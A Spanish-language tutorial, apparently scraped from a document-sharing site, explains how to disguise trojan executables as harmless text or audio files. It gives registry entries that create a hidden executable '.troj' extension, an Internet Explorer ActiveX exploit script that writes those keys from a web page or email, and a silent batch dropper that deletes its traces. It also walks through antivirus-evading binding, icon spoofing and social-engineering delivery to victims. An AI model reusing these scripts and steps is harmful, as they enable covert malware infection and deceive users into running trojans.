Вы находитесь на странице: 1из 7

Cualquier tipo de archivo (.wav .jpg .txt ...

) puede ser un ejecutable


Aunque no sea muy habitual, es posible hacer pasar un troyano ( virus, o cualquier otro ejecutable) por un archivo de texto (.txt), de audio (.wav), una carpeta, o cualquier otro tipo de archivo (si, cualquiera).

Estos archivos son en realidad troyanos, y como puedes ver parecen archivos inofensivos. Vamos a ver como se consigue hacer pasar un ejecutable por cualquier otro archivo en apariencia inofensivo. La tcnica consiste en "contaminar" el sistema, de manera que una vez infectado, sea vulnerable a este mtodo y sea l mismo el que haga parecer a los archivos maliciosos, archivos totalmente inofensivos. Increblemente se trata de un mtodo facilsimo. Vamos a explicar paso a paso como se hace, para poder as saber como tenemos que protegernos de este posible ataque. Lo que vamos a hacer es crear una extensin nueva, darle caractersticas de ejecutable, y ocultarla, crearemos en este ejemplo la extensin ".troj" . De esta forma lo que nosotros tenemos es un archivo, por ejemplo, "server.exe", al que le hemos puesto el icono propio del txt, lo renombramos a "server.txt.troj", tras "contaminar" el sistema de la vctima, la extensin .troj, no solo ser reconocida como ejecutable, sino que incluso desaparecer, y por lo tanto lo que tendremos como resultado ser un archivo server.txt (que se puede renombrar como readme.txt por ejemplo) en el que al hacer click se ejecutar el "server.exe". CREANDO LA EXTENSIN: Antes de pensar en otras cosas, lo primero es saber como podemos hacer que se cree nuestra extensin en el PC de la vctima. Para crear una extensin, es necesario aadir las claves adecuadas al registro, y para ello se utilizan los archivos ".reg" En este punto vamos a diferenciar entre Windows98 y Windows NT/2000/XP, puesto que hay ciertas cosas que varan entre uno y otro, el ejemplo que vamos a crear est pensado para que funcione en NT/2000/XP, para Windows98 no tiene mayor complicacin, pero hay que cambiar algunas cosas. Con estas lneas aadimos lo que necesitamos al registro: REGEDIT4 [HKEY_CLASSES_ROOT\.troj] @="trojfile" [HKEY_CLASSES_ROOT\trojfile] @="Documento de texto" "NeverShowExt"="" [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command] @=""%1" %*" Vamos a explicarlo un poco para el que no lo entienda: REGEDIT4 Es la cabecera que indica que es un archivo de registro, dependiendo del sistema, tambin podra poner "Windows Registry Editor Version 5.00", segn la versin. [HKEY_CLASSES_ROOT\.troj] Aadimos a la clave HKEY_CLASSES_ROOT la extensin ".troj", en HKEY_CLASSES_ROOT, se encuentra el registro de todas las extensiones y los tipos de archivo conocidos por nuestro sistema. @="trojfile" La "@" se utiliza para aadir claves con el valor de (Predeterminado) "trojfile" es el tipo de archivo al que pertenecern los archivos con extensin ".troj" Para que lo entiendas mejor, abre el regedit32.exe, y ve hasta HKEY_CLASSES_ROOT, vers que la extensin, por ejemplo, ".txt" est asociada con los "txtfile", la ".exe" est asociada con los "exefile" etc.

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

[HKEY_CLASSES_ROOT\trojfile] Aadimos el tipo de archivo "trojfile" @="Documento de texto" Esta es la clave que define a los "trojfile" (los ".troj") como documentos de texto, gracias a ello, cuando alguien vea las propiedades del documento, ver en "Tipo de archivo:" el valor "Documento de texto". "NeverShowExt"="" Esta clave es un punto fundamental en el proceso, aadiendo esta clave a cualquier tipo de archivo conseguimos que la extensin del archivo desaparezca. La clave "NeverShowExt" es la responsable de que cierto tipo de extensiones no se vean. Estas son las extensiones que permanecen invisibles: .cnf .lnk .pif .scf .shb .shs .url El hecho de que estas extensiones permanezcan ocultas se debe a que poseen la clave en el registro "NeverShowExt". Todas las extensiones que tengan este atributo en el registro, permanecern invisibles en Windows aunque lo tengamos configurado para ver todas las extensiones. Por lo tanto nosotros la aadiremos a nuestro tipo de archivo para hacer desaparecer nuestra extensin. [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command] Esta es la ruta en la que hay que poner qu programa se utilizar para abrir ese tipo de archivo. @=""%1" %*" Esto indicar que se abra como cualquier otro ejecutable, en este punto es donde se define, por ejemplo que los .txt se abran con el notepad.exe poniendo algo as: @="%SystemRoot%\system32\NOTEPAD.EXE %1". Bien, metiendo todo esto en un ".reg" ya tenemos lo que buscbamos. Al pinchar sobre el ".reg" se aadir automticamente la nueva extensin al registro, y el archivo "server.txt.troj" se transformar en "server.txt" (con el icono del txt porque anteriormente habamos modificado el "server.exe" para que llevara este icono). Hasta aqu, como idea no esta mal, pero sabemos que slo un usuario del grupo de administradores tiene permiso para manejar el registro. por lo tanto debemos buscar la manera de que sea el administrador del sistema el que se contamine. No voy a explicar aqu ninguno de los mtodos de intrusin, puesto que creo que ya estn bastante explicados, y no es el propsito de este texto. partimos del supuesto de que se consigue engaar al admin y hacerle ejecutar un archivo que contenga no slo un troyano, sino este mtodo de "contaminacin" del sistema, que una vez llevado a cabo, servir para posteriores infecciones. Es decir, una vez que alguien est contaminado, se le pueden mandar por el IRC, o por Mail troyanos renombrados a "readme.txt.troj", "sonido.wav.troj" etc. Con la ventaja de que a ojos de la vctima aparecern como "readme.txt", "sonido.wav" etc, archivos que eludirn los filtros de los scripts de IRC que bloquean las extensiones conocidas como peligrosas (.exe, .bat, .vbs...) y los filtros de algunos clientes de correo que siguen el mismo fin, adems la vctima no tendr ningn problema en pinchar sobre ellos, puesto que parecen inofensivos. De que manera, por tanto, es posible mandar las claves del registro a la vctima? Vamos a diferenciar 2 maneras diferentes, mediante un JavaScript y mediante un ejecutable.

1.-Mediante un JavaScript: Actualizado el 14-12-2001 Hablando un dia sobre este articulo con [^eLaiM^] , surgi la posibilidad de recrear este mtodo de "contaminacin" del sistema mediante un HTML. El cdigo siguiente es el resultado de estudiar esa posibilidad. Vamos a valernos de la vulnerabilidad del Internet Explorer en sus versiones 5 y 5.5, explicada aqu y que permite que un atacante modifique el registro de la vctima.

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

El cdigo fuente que debemos utilizar sera este: #script# document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); function f() { try { a1=document.applets ; a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); a1.createInstance(); Shl = a1.GetObject(); a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); try { Shl.RegWrite ("HKCR\\.troj\\", "trojfile"); Shl.RegWrite ("HKCR\\trojfile\\", "Documento de texto"); Shl.RegWrite ("HKCR\\trojfile\\NeverShowExt", ""); Shl.RegWrite ("HKCR\\trojfile\\shell\\open\\command\\", "%1 %*"); } catch(e) {} } catch(e) {} } setTimeout("f()", 1000); #/script# (sustituye los simbolos "#script#" y "#/script#" por "<script>" y "</script>" para que funcione ). Si el atacante, consigue que la vctima abra este cdigo ( metido en un html ) ya sea por web o por mail, conseguir que en el PC de la vctima se cree la extensin maliciosa que "contaminar" el sistema. Este mtodo es vlido para "contaminar" sistemas Win9x/NT/2K

2.-Mediante un ejecutable: (Vamos a fabricar un ejecutable, de una manera fcilmente entendible que cree la extensin maliciosa en el PC de la vctima). Crear un exe que aada las claves al registro no representa ningn problema, para cualquiera con conocimientos de programacin, pero, como siempre vamos a tratar de demostrar que no hacen falta grandes conocimientos para llevar a cabo estos ataques. Vamos a valernos de un ".bat" para crear el .reg, de manera que cuando la vctima pinche en el .bat, ste cree en el ".reg" y lo ejecute, evidentemente de manera silenciosa. ste es el ".bat" que tenemos que crear, lo vamos a llamar "troj.bat": @echo off @echo REGEDIT4>%TEMP%\troj.reg @echo [HKEY_CLASSES_ROOT\.troj]>>%TEMP%\troj.reg @echo @="trojfile">>%TEMP%\troj.reg @echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg @echo @="Documento de texto">>%TEMP%\troj.reg @echo "NeverShowExt"="">>%TEMP%\troj.reg @echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg @echo @=""%1" %*">>%TEMP%\troj.reg regedit /s %TEMP%\troj.reg del %TEMP%\troj.reg Como vemos cuando se ejecute el "troj.bat", se crear el archivo "troj.reg" en la carpeta de archivos temporales, por ltimo aadimos 2 lneas:

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

regedit /s %TEMP%\troj.reg ejecutar el "troj.reg" para que se aadan las claves al registro. del %TEMP%\troj.reg borra el troj.reg una vez ejecutado, para no dejar rastro. Pero surge aqu un problema en la lnea: @echo @=""%1" %*">>%TEMP%\troj.reg si hiciramos as el "troj.bat", creara un "troj.reg" en el que en vez de aparecer @=""%1" %*" aparecera simplemente @="" y por lo tanto los archivos con extensin ".troj" no seran ejecutables. Para solucionarlo sustituimos: @echo @=""%1" %*">>%TEMP%\troj.reg por: @echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg No hemos hecho mas que sustituirlo por su equivalente hexadecimal, ahora la clave ser correctamente introducida en el "troj.reg" (quedar as: @=""%1" %*" ). -------------NOTA-------------Si el sistema infectado es un NT/2K/XP podemos hacer el troj.bat de otra manera, puesto que existen comandos especficos para aadir extensiones y tipos de archivo al registro, los comandos son: "assoc" y "ftype" ( si quieres saber mas acerca de estos comandos, slo tienes que escribir en una ventana de comandos "assoc /?" o "ftype /?"). Utilizando estas ordenes vamos a hacer que nuestro "troj.bat" aada automticamente la extensin y el tipo de archivo al registro sin tener que pasar por el "troj.reg", "troj.bat"quedara as: assoc .troj=trojfile ftype trojfile="%1" %* El comando "assoc" sirve para aadir una extensin al registro y el "ftype" sirve para aadir un tipo de archivo Pero por este mtodo no podemos aadir la clave "NeverShowExt"="", y la extensin .troj quedara a la vista, por lo tanto de todas maneras tendramos que crear el "troj.reg", de esta manera @echo off assoc .troj=trojfile ftype trojfile="%1" %* @echo Windows Registry Editor Version 5.00>%TEMP%\troj.reg @echo [HKEY_CLASSES_ROOT\trojfile]>>%TEMP%\troj.reg @echo @="Documento de texto">>%TEMP%\troj.reg @echo "NeverShowExt"="">>%TEMP%\troj.reg @echo [HKEY_CLASSES_ROOT\trojfile\Shell\Open\Command]>>%TEMP%\troj.reg @echo @=hex(2):22,00,25,00,31,00,22,00,20,00,25,00,2a,00,00,00>>%TEMP%\troj.reg regedit /s %TEMP%\troj.reg del %TEMP%\troj.reg Vamos a quedarnos por lo tanto con el primero de los ejemplos que hicimos, sin utilizar los comandos "assoc" y "ftype". ---------FIN DE LA NOTA---------

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Hasta aqu ya hemos conseguido crear un archivo que nos cree una nueva extensin, oculta y ejecutable. Si ahora la vctima recibe un archivo con icono, por ejemplo de txt, llamado readme.txt.troj, ser incapaz de distinguirlo entre un txt y un ejecutable.

CREANDO EL ENGAO Vamos a ver el proceso paso a paso para poner en claro lo fcil que es contaminar un sistema para dejarlo vulnerable a posteriores ataques. Creamos el troj.bat, de la manera que ya explicamos mas arriba, y lo convertimos en troj.exe utilizando el primero el bat2exe (http://www.computerhope.org/download/utility/bat2exe.com),para convertirlo en troj.com, y despus el C2E.COM y lo convertimos en troj.exe (podramos haberlo dejado como troj.bat, pero siempre es interesante hacer las cosas bien). La tctica consiste en unir el troj.exe a otro archivo inofensivo, como por ejemplo uno de esas animaciones en Flash con extensin .exe Necesitamos juntar los dos ejecutables en uno, para ello vamos a utilizar el "DropperGen" esta es la web oficial (http://www.oblivionrat.com) que unido al "lcc-win32" (http://www.cs.virginia.edu/~lcc-win32/) unir ambos archivos dejndolos en uno (gracias al mtodo que utiliza para unir los archivos eludir el scan de gran parte de los antivirus).

El archivo resultante pasar por una broma, pero el sistema quedar "contaminado" con la extensin ".troj" en su registro, despus de esto se le pueden mandar archivos ejecutables y hacerlos pasar por archivos inofensivos. Vamos a suponer que ahora pretendemos infectar a la vctima con un troyano: Elegimos el server de un troyano (server.exe) Lo primero que hacemos es cambiarle el icono por el de los .txt, para ello, lo cogemos del archivo archivo "shell32.dll", situado en la carpeta system32, utilizando, por ejemplo, el "Iconedit" (http://www.ad.ugatu.ac.ru/iconedit/)

Una vez que ya lo tenemos, utilizamos el ResHack (http://delphi.icm.edu.pl/ftp/tools/ResHack.zip) para cambiarle el icono al server.exe.

Al archivo resultante lo llamamos por ejemplo "license.txt.troj", y no queda nada mas que mandrselo a la vctima, aunque para nosotros el archivo aparezca as:

Para la vctima el archivo se ver as:

Creo que no es necesario decir lo peligroso que puede ser esto, puesto que no creo que nadie dude un instante en abrir un archivo de texto, porque no se cree que pueda ser peligroso. Usando este mtodo podemos darle a los archivos la extensin (la falsa) y el icono que queramos cada vez.

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Se puede evitar la fase de cambiar el icono al server aadiendo unas lneas mas al registro, en la que atribuyamos un icono especfico para los archivos ".troj", por ejemplo: @echo [HKEY_CLASSES_ROOT\txtfile\DefaultIcon]>>%TEMP%\troj.reg @echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg para aadir el icono del .txt a los archivos .troj, que por las mismas razones que antes (lo de el %) debemos sustituir : @echo @="%SystemRoot%\system32\shell32.dll,-152">>%TEMP%\troj.reg por: @echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25, 00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,73,00,68,00, 65,00,6c,00,6c,00,33,00,32,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,31,00,35, 00,32,00,00,00>>%TEMP%\troj.reg en una sola linea, para aadir el icono de los .wav a los archivos .troj cambiara la ltima linea por esta: @echo @="%SystemRoot%\System32\quartz.dll,-200">>%TEMP%\troj.reg que ahora quedara: @echo @=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f, 00,74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00, 71,00,75,00,61,00,72,00,74,00,7a,00,2e,00,64,00,6c,00,6c,00,2c,00,2d,00,32, 00,30,00,30,00,00,00>>%TEMP%\troj.reg tambin en una sola linea. -------------NOTA-------------Para encontrar el equivalente hexadecimal del icono que buscas, puedes hacerlo fcilmente sin necesidad de editores hexadecimales. Abre el regedit, busca el tipo de archivo que quieres, abre la carpeta "DefaultIcon", marca el valor en el que pone (Predeterminado) bla bla. Vete a "Registro">>"Exportar archivo de Registro..." introduce el nombre que quieras y dale a aceptar. Edita con un editor de texto el archivo ".reg" que acabas de crear y ah tienes el valor hexadecimal que corresponde a la cadena que quieres poner, y que no puedes aadir por contener el caracter % ---------FIN DE LA NOTA---------

La ventaja es que no corremos el riesgo de estar aadiendo un icono caracterstico del Windows 2000, por ejemplo, y envirselo despus a alguien que utilice Windows 98. El inconveniente es que estaremos limitados a ocultar siempre el server.exe bajo el mismo tipo de archivos.

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

INTRUSIN Y CONTAMINACIN DEL SISTEMA Por supuesto se puede contaminar el sistema sin tener que esperar para mandarle el server.exe posteriormente. Ejemplo 1: Incluyendo los 3 archivos, es decir, el ".bat" (pasado a ".exe"), el server.exe y el archivo inofensivo (con el que se engaa a la vctima), en uno solo, con el "DropperGen" Ejemplo 2: Metiendo el "server.exe" y el "troj.bat" en una "carpeta trucada" ( Si no conoces como se hacen, lo tienes en la seccin "Carpetas Infectadas"), en concreto en la carpeta trucada aparentemente vaca. Podras incluso aadir esto al "troj.bat": @echo @echo @echo @echo copy server.exe %SYSTEMROOT%\WinReadme.txt.troj %SYSTEMROOT%\WinReadme.txt.troj del server.exe del troj.bat

de esta forma el troyano se copiar a la carpeta WINNT (WINDOWS si es un 98) con el nombre WinReadme.txt.troj, despus se ejecutar, y se borrarn todos los archivos de la carpeta modificada. Despus de esto, el sistema quedar contaminado, el server del troyano tendr apariencia de txt, y la carpeta quedar realmente vaca. Ejemplo 3: Si tienes los passwords del PC remoto, puedes acceder directamente al registro remoto, introducir las claves manualmente y dejar el sistema contaminado. Ejemplo 4: Piensa un poco y seguro que se te ocurren muchas otras maneras.

Texto escrito por CyRuX http://cyruxnet.com.ar/extensiones.htm

Descargado de www.DragonJAR.us / Google => "La WeB de DragoN"

Вам также может понравиться